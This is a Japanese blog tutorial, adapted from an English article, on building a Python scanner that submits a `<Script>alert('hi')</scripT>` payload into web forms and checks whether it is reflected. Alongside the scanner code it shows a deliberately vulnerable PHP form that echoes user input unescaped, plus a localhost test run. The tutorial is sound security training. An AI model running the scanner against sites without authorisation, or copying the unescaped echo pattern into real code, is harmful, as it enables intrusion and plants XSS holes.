Python セキュリティ

クロスサイトスクリプティングをテストするためのスキャナーの作り方

先日Pythonによるクロスサイトスクリプティングをテストするためのスキャナーの作り方に関する海外の記事を見つけたので、日本人向けに分かりやすく解説した記事を今回書いていきます。クロスサイトスクリプティングをテストするための基礎的な内容については既に過去の記事でまとめているので、クロスサイトスクリプティングの理解度についてイマイチ自信が無い方は以下の記事を事前に参照ください。

今回紹介する内容は脆弱性診断士など、サイバーセキュリティ関連の業務に従事する人に向けた説明になります。
内容を悪用すると法律に問われる可能性があるため、悪用は避け、検証する場合は自分が管理している環境の中で試すようにしましょう。

Pythonのハッキング用コードのサンプルを見てみよう

今回参考にする記事は以下のサイト・コードになります。元記事を見るとソースコードの解読が大変そうに見えるかもしれませんが、本記事ではできるだけわかりやすく解説していくので安心してください。

解説(原文)
https://thepythoncode.com/article/make-a-xss-vulnerability-scanner-in-python

参照元のソースコード

https://github.com/x4nth055/pythoncode-tutorials/blob/master/ethical-hacking/xss-vulnerability-scanner

クロスサイトスクリプティングをテストするスキャナーを実装する

ではまず実装に必要なライブラリをインストールします。以下はスクレイピングを学習したことがあるなら恐らく知ってるであろうHTMLを解析するためのライブラリですね。

pip3 install requests bs4

続いてPythonスクリプトの説明に入っていきますが、スクリプトの冒頭でモジュールをインストールします。

//リクエストを送信し、レスポンスを取得できるモジュール
import requests

//オブジェクトを綺麗に整形して出力・表示するためのモジュール
from pprint import pprint 

//取得したレスポンスを分析するためのモジュール
from bs4 import BeautifulSoup as bs

//URLを操作するためのモジュール
from urllib.parse import urljoin

これで下準備が整いました。最初にテスト対象のWebサイトのレスポンスを取得し、HTMLの中からform要素を抽出する関数を実装します。

def get_all_forms(url):
    soup = bs(requests.get(url).content, "html.parser")
    return soup.find_all("form")

英語のコメントがあると情報量が増えるので省略したものを記載しました。とてもシンプルに見えますね。requests.get(url).contentでurl変数のサイトのレスポンスが取得されます。これをbsの第一引数に指定しBeautifulSoupのオブジェクトを作成します。次にBeautifulSoupのfind_allメソッドを利用してレスポンス中に含まれるform要素を抽出します。

続いてform要素を取得できたのでその配下にあるinput要素の詳細を取得していきます。Pythonを使って検査用のJavaScriptを対象サイトへ機械的に送信するためには、画面上からフォームに悪意のあるスクリプトを入力して画面遷移するのと同じ操作をPythonで再現する必要があり、それにはinput要素の中身を取得する必要があるためです。

def get_form_details(form):

    details = {}
    action = form.attrs.get("action", "").lower()
    method = form.attrs.get("method", "get").lower()
    inputs = []
    for input_tag in form.find_all("input"):
        input_type = input_tag.attrs.get("type", "text")
        input_name = input_tag.attrs.get("name")
        inputs.append({"type": input_type, "name": input_name})

    details["action"] = action
    details["method"] = method
    details["inputs"] = inputs
    return details

以下の部分が少しややこしく感じますが、もしinput要素にtype属性が指定されていなかった場合、第二引数のtextがinput_type変数に代入することを意味しています。

input_type = input_tag.attrs.get("type", "text")

では準備が整ったので悪意のあるスクリプトを送信するための関数部分を見ていきます。引数のform_detailsは先ほど記載した関数で取得したform要素の詳細、urlには検査対象のURL、valueには検査用のJavaScriptが代入されています。

def submit_form(form_details, url, value):
    target_url = urljoin(url, form_details["action"])
    inputs = form_details["inputs"]
    data = {}
    for input in inputs:
        if input["type"] == "text" or input["type"] == "search":
            input["value"] = value
        input_name = input.get("name")
        input_value = input.get("value")
        if input_name and input_value:
            data[input_name] = input_value

    print(f"[+] Submitting malicious payload to {target_url}")
    print(f"[+] Data: {data}")
    if form_details["method"] == "post":
        return requests.post(target_url, data=data)
    else:
        return requests.get(target_url, params=data)

以下のurljoin関数は名前の通りURLを操作するための関数で、検査対象サイトのURLとform要素のaction属性が格納されたform_details["action"]変数を組み合わせることで、form要素における遷移先のURLを生成します。下に簡単な例を載せていますが例えば第一引数が「http://localhost/Test/inquiry.html」で第二部分が「confirmation.php」の場合、結果は「http://localhost/Test/confirmation.php」になることに注意してください。

target_url = urljoin(url, form_details["action"])

//以下の場合出力結果は「http://localhost/Test/confirmation.php」になる。
//url                    :http://localhost/Test/inquiry.html
//form_details["action"] :confirmation.php

ではここまでで検査対象URLのformとinput要素の取得、検査用スクリプトを送信するためのスクリプトを作成したので、一連の関数を実行するscan_xss関数を実装しましょう。

def scan_xss(url):
    forms = get_all_forms(url)
    print(f"[+] Detected {len(forms)} forms on {url}.")
    js_script = "<Script>alert('hi')</scripT>"
    is_vulnerable = False
    for form in forms:
        form_details = get_form_details(form)
        content = submit_form(form_details, url, js_script).content.decode()
        if js_script in content:
            print(f"[+] XSS Detected on {url}")
            print(f"[*] Form details:")
            pprint(form_details)
            is_vulnerable = True
    return is_vulnerable

まず2行目の「forms = get_all_forms(url)」でテスト対象のform要素の情報を取得します、続いて7行目の「form_details = get_form_details(form)」でform要素の配下にあるinput要素の情報を取得、8行目の「content = submit_form(form_details, url, js_script).content.decode()」でinput要素にテスト用スクリプトを追加してリクエストを送信した際のレスポンスを取得します。9行目の「if js_script in content:」で取得したレスポンス中に「<Script>alert('hi')</ScripT>」という文字列が含まれているかを判定し、含まれていれば脆弱性が存在すると判定します。

なぜこのような判定ロジックになっているかというと、クロスサイトスクリプティングの対策がされていれば「<Script>alert('hi')</ScripT>」という文字列は「&lt;script&gt;alert('hi')&lt;script&gt;」といった具合に無害化されるためです。つまり「<Script>alert('hi')</ScripT>」という文字列がレスポンスにそのまま出力されることは、クロスサイトスクリプティングに対する対策がなされておらず、JavaScriptが実行可能である可能性があるというわけです。

最後にmain関数を実装してスクリプトを書く作業は終了です。

if __name__ == "__main__":
    import sys
    url = sys.argv[1]
    print(scan_xss(url))

全体のスクリプトをまとめて記載したものは以下の通りです。

import requests
from pprint import pprint
from bs4 import BeautifulSoup as bs
from urllib.parse import urljoin


def get_all_forms(url):
    soup = bs(requests.get(url).content, "html.parser")
    return soup.find_all("form")


def get_form_details(form):
    details = {}
    action = form.attrs.get("action", "").lower()
    method = form.attrs.get("method", "get").lower()
    inputs = []
    for input_tag in form.find_all("input"):
        input_type = input_tag.attrs.get("type", "text")
        input_name = input_tag.attrs.get("name")
        inputs.append({"type": input_type, "name": input_name})
    details["action"] = action
    details["method"] = method
    details["inputs"] = inputs
    return details


def submit_form(form_details, url, value):

    target_url = urljoin(url, form_details["action"])
    inputs = form_details["inputs"]
    data = {}
    for input in inputs:
        if input["type"] == "text" or input["type"] == "search":
            input["value"] = value
        input_name = input.get("name")
        input_value = input.get("value")
        if input_name and input_value:
            data[input_name] = input_value

    print(f"[+] Submitting malicious payload to {target_url}")
    print(f"[+] Data: {data}")
    if form_details["method"] == "post":
        return requests.post(target_url, data=data)
    else:
        return requests.get(target_url, params=data)


def scan_xss(url):
    forms = get_all_forms(url)
    print(f"[+] Detected {len(forms)} forms on {url}.")
    js_script = "<Script>alert('hi')</scripT>"
    is_vulnerable = False
    for form in forms:
        form_details = get_form_details(form)
        content = submit_form(form_details, url, js_script).content.decode()
        if js_script in content:
            print(f"[+] XSS Detected on {url}")
            print(f"[*] Form details:")
            pprint(form_details)
            is_vulnerable = True
    return is_vulnerable

if __name__ == "__main__":
    import sys
    url = sys.argv[1]
    print(scan_xss(url))

【検証】実際に攻撃をしてみよう

では実際に作成したクロスサイトスクリプティングのスキャナーを利用して、脆弱性があるかどうか試してみましょう。検証で使うサイトは以下の記事中で利用した問合せフォームを使用します。分かりやすいように検査対象サイトのform要素の部分とPHPの一部を抜粋して載せておきます。

//Sampleのhtml
 (略)
    <form action="confirmation.php" method="POST">
      <label for="name">お名前:</label>
      <input type="text" id="name" name="name" required>
      
      <label for="email">メールアドレス:</label>
      <input type="text" id="email" name="email" required>
      
      <label for="message">問い合わせ内容:</label>
      <textarea id="message" name="message" rows="5" required></textarea>
      
      <input type="submit" value="Submit">
    </form>
 (略)
//上のhtmlのform要素の遷移先は以下のスクリプトになる
 (略)
    <ul>
      <li><strong>Name:</strong><?php echo $name; ?></li>
      <li><strong>Email:</strong><?php echo $email; ?></li>
      <li><strong>Message:</strong><?php echo $message; ?></li>
    </ul>
 (略)

スキャナーを実行するためコンソールから今回作成した「xss_scanner.py」を指定し、引数のURLには私のローカル環境で起動しておいた検証用のWebサイトのURLを指定しました。私はPythonのプログラム作成にPycharmを使っているので、以下の結果はその時のコンソールの出力になります。

(venv) PS C:\Users\owner\PycharmProjects\pythonProject2> python xss_scanner.py http://localhost/Test/inquiry.html

//以下出力結果
[+] Detected 1 forms on http://localhost/Test/inquiry.html.
[+] Submitting malicious payload to http://localhost/Test/confirmation.php                 
[+] Data: {'name': "<Script>alert('hi')</scripT>", 'email': "<Script>alert('hi')</scripT>"}
[+] XSS Detected on http://localhost/Test/inquiry.html
[*] Form details:
{'action': 'confirmation.php',
 'inputs': [{'name': 'name',
             'type': 'text',
             'value': "<Script>alert('hi')</scripT>"},
            {'name': 'email',
             'type': 'text',
             'value': "<Script>alert('hi')</scripT>"},
            {'name': None, 'type': 'submit'}],
 'method': 'post'}
True

今回スキャンをかけた対象のサイトにはクロスサイトスクリプティングの脆弱性を作り込んであるので、JavaScriptが実行可能な「name」と「email」のname属性を持つinput要素が脆弱性有として実行結果に出力されています。用意したサイトではtextarea要素にも脆弱性はあるのですが、今回のプログラムではinput要素のみを検査対象にしているため、こちらは検出の対象外になっているようです。

-Python, セキュリティ